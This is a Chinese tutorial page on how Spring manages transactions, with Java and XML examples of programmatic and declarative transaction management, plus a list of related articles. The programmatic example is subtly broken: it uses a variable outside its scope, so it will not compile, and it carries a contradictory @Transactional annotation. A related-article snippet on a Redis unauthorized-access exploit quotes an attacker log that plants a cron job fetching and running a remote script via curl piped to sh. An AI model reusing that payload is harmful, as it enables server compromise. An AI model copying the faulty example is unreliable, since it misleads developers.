详细谈谈Spring事务是如何管理的

yizhihongxing

下面我来为大家详细讲解一下 Spring 事务是如何管理的,以及事务管理的两个示例说明。

Spring事务的管理方式

Spring框架提供了对事务的支持,它采取了AOP(面向切面编程)的思想来实现事务。 Spring对事务的管理主要有两种方式,即编程式事务管理和声明式事务管理。

编程式事务管理

编程式事务管理是通过编写代码完成事务的管理,由程序员自行控制事务的开启、提交和回滚等操作。这种方式需要在代码中显示地调用事务管理的API。相对而言,编程式事务管理的控制力更强,可以做到非常细致的事务控制, 但是会导致程序的复杂性增加。

下面是一个编程式事务管理的示例:

@Transactional
public void insert(User user) {
    try {
        // 开启事务
        TransactionStatus transactionStatus = transactionManager.getTransaction(new DefaultTransactionDefinition());
        // 执行业务逻辑
        userDao.insert(user);
        // 模拟异常,触发回滚操作
        int i = 1 / 0;
        // 提交事务
        transactionManager.commit(transactionStatus);
    } catch(Exception e) {
        // 回滚事务
        transactionManager.rollback(transactionStatus);
    }
}

声明式事务管理

声明式事务管理是通过配置文件的方式完成事务的管理,由Spring框架自动完成事务的开启、提交和回滚等操作。相对于编程式事务管理而言,声明式事务管理更加简单易用,可以大大降低程序的复杂性。

下面是一个声明式事务管理的示例:

<!-- 数据源配置 -->
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
    <property name="driverClassName" value="com.mysql.jdbc.Driver"></property>
    <property name="url" value="jdbc:mysql://localhost:3306/demo"></property>
    <property name="username" value="root"></property>
    <property name="password" value="123456"></property>
</bean>

<!-- 事务管理器配置 -->
<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
    <property name="dataSource" ref="dataSource"></property>
</bean>

<!-- 注解驱动配置 -->
<tx:annotation-driven transaction-manager="transactionManager"></tx:annotation-driven>

<!-- service组件配置 -->
<bean id="userService" class="com.example.UserService">
    <property name="userDao" ref="userDao"></property>
</bean>

<!-- dao组件配置 -->
<bean id="userDao" class="com.example.UserDao">
    <property name="dataSource" ref="dataSource"></property>
</bean>

示例说明

示例1:调用一个操作数据库的方法

下面我们来看一个调用一个操作数据库的方法的示例代码:

@Service
public class UserServiceImpl implements UserService {

    @Autowired
    private UserDao userDao;

    @Transactional(rollbackFor = Exception.class)
    public void addUser(User user) throws Exception {
        // 调用Dao层方法,向数据库中添加一个用户
        userDao.addUser(user);
        // 故意抛出异常,来测试事务是否起作用
        throw new Exception("添加用户发生异常");
    }
}

在这个示例中,我们定义了一个 UserServiceImpl 类,采用了声明式事务管理的方式,将整个 addUser 方法标注了 @Transactional 注解。在这个方法中,我们调用了 UserDao 中的 addUser 方法,向数据库中添加一条记录。接着,我们故意抛出了一个异常,测试事务是否正常工作。如果事务管理起作用,当我们抛出异常后,事务应该会回滚,不会向数据库中添加新的记录。

示例2:同时插入两个新用户

下面我们来看一个同时插入两个新用户的示例代码:

@Service
public class UserServiceImpl implements UserService {

    @Autowired
    private UserDao userDao;

    @Transactional(rollbackFor = Exception.class)
    public void addUsers(List<User> users) {
        // 依次添加所有用户
        for (User user : users) {
            userDao.addUser(user);
        }
    }
}

在这个示例中,我们同样定义了一个 UserServiceImpl 类,采用了声明式事务管理的方式,将整个 addUsers 方法标注了 @Transactional 注解。在这个方法中,我们定义了一个 for 循环,依次添加所有的用户。如果其中有一个用户添加失败,整个方法将回滚。这种方式非常适合一次向数据库中批量添加多条数据的场景。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:详细谈谈Spring事务是如何管理的 - Python技术站

(0)
上一篇 2023年5月21日
下一篇 2023年5月21日

相关文章

  • Redis可视化工具Redis Desktop Manager的具体使用

    Redis Desktop Manager是一款开源的Redis可视化工具,支持Windows、MacOS、Linux等多个平台,可方便地管理Redis服务器和数据。以下是Redis Desktop Manager的具体使用攻略: 安装Redis Desktop Manager 首先,需要下载并安装Redis Desktop Manager,可以从其官网(h…

    database 2023年5月22日
    00
  • MySQL如何指定字符集和排序规则?

    在MySQL中,可以使用以下两种方式指定字符集和排序规则: 创建数据库或表时指定字符集和排序规则 在创建数据库或表时,可以使用 CHARACTER SET 和 COLLATE 选项指定字符集和排序规则。例如,创建一个名为 mydatabase 的数据库,并将字符集设置为 utf8mb4,排序规则设置为 utf8mb4_general_ci,可以使用以下 SQ…

    MySQL 2023年4月11日
    00
  • [日常] 研究redis未授权访问漏洞利用过程

    前提:redis允许远程连接,不需要密码 1522057495.583846 [0 123.206.24.121:50084] “set” “dUHkp” “\n\n*/1 * * * * curl cdn.namunil.com/sh.php|sh\n” 1522057495.584467 [0 123.206.24.121:50084] “set” “y…

    Redis 2023年4月11日
    00
  • Linux中Oracle启动侦听报错TNS:permission denied的解决方法

    下面是“Linux中Oracle启动侦听报错TNS:permission denied的解决方法”的完整攻略: 问题描述 在Linux系统中,启动Oracle数据库时,可能遭遇到如下的报错信息: TNS-12555: TNS:permission denied 这个问题通常出现在侦听器启动时,表示系统权限不足,无法启动侦听器。 解决方法 要解决这个问题,需要…

    database 2023年5月22日
    00
  • SQL语言查询基础:连接查询 联合查询 代码

    SQL语言查询基础 SQL是结构化查询语言(Structured Query Language)的简称,是一种专门用来操作关系型数据库的标准操作语言,常用于对数据库进行查询、更新以及管理等操作。 本篇攻略将围绕SQL语言的查询进行讲解,涉及连接查询、联合查询等查询操作。 连接查询 连接查询是指在查询两个或多个表时,通过各种连接方式,将它们中的相关数据进行组合…

    database 2023年5月21日
    00
  • MIS和DSS之间的区别

    MIS和DSS都是企业决策支持系统中常用的工具,它们有着不同的特点和应用场景。下面分别对它们进行详细讲解。 MIS是什么? MIS(管理信息系统)是指一种企业内部的信息系统,旨在提供有效的决策支持和价值链管理。MIS通常由数据和人工资源组成,涵盖一个或多个主要的业务领域。MIS可以帮助企业领导者获取管理信息,从而更好地进行决策和规划。 以制造企业为例,MIS…

    database 2023年3月27日
    00
  • Redis集群详解

    Redis集群详解 简介 Redis集群可以扩展Redis的数据集大小,并提高了读取和写入的性能。Redis集群将所有的数据分散放置到多个Redis节点中维护,通过读写分离实现更好的效果。在Redis集群中,如果一个节点出现问题,其他节点可以自动接管它的工作,保证Redis集群的高可用性。 Redis集群的搭建 安装Redis Redis的安装可以参考官方文…

    database 2023年5月18日
    00
  • docker-compose 安装 mysql:5.7.31

        目录 一.新建一个启动服务的目录 二.新建文件docker-compose.yml 三.新建角本文件 init-mysql.sh 四.实使化目录和配置文件 启动服务 登陆mysql 其它操作   参考文档: 一.新建一个启动服务的目录 mkdir /usr/local/docker/mysql cd /usr/local/docker/mysql 二…

    MySQL 2023年4月13日
    00
合作推广
合作推广
分享本页
返回顶部